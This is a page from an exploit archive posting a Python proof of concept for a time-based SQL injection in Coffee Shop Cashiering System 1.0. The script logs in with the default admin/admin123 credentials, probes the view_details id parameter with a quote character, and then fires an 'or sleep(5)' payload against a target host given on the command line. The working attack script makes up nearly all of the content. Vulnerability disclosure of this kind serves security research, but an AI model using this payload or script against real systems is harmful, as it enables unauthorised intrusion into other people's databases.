exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Coffee Shop Cashiering System 1.0 SQL Injection

Coffee Shop Cashiering System 1.0 SQL Injection
Posted Jun 27, 2022
Authored by syad

Coffee Shop Cashiering System version 1.0 suffers from a remote time-based SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f964a4311244797b00b346857d8249aa0ed9e3ed4fbb20b2da7ac878fcd027a6

Coffee Shop Cashiering System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Coffee Shop Cashiering System - Authenticated Time Based Sql injection
# Date: 27-06-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cscs.zip
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The id parameter does not perform input validation on the view_detail.php file it allow authenticated Time Based SQL Injection.


import requests
import sys
s = requests.session()

proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}


def login_sql():
target = "http://%s/cscs/classes/Login.php?f=login" % sys.argv[1]
d = {
"username" : "admin",
"password" : "admin123"
}
r = s.post(target, data=d, allow_redirects=True, proxies=proxies)
res = r.text
if "success" in res:
return True
else:
return False


def detect_sql():
r = s.get("http://%s/cscs/admin/?page=sales/view_details&id=2'" % sys.argv[1])
res = r.text
if "You have an error in your SQL syntax;" in res:
print("[+] SQL Error Found !!")
else:
return False

def time_based_sql():
target = "http://%s/cscs/admin/?page=sales/view_details&id=2'+or+sleep(5)--+-" % sys.argv[1]
r = s.get(target, proxies=proxies)
print("[+] Time Based SQL Injection Executed !!!")




def main():
if len(sys.argv) !=2:
print("(+) usage: %s <target>" % sys.argv[0] )
print("(+) eg: %s 192.168.121.103 " % sys.argv[0] )
sys.exit(-1)

if login_sql():
print("[+] Success Login")

detect_sql()
time_based_sql()

if __name__ == "__main__":
main()



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close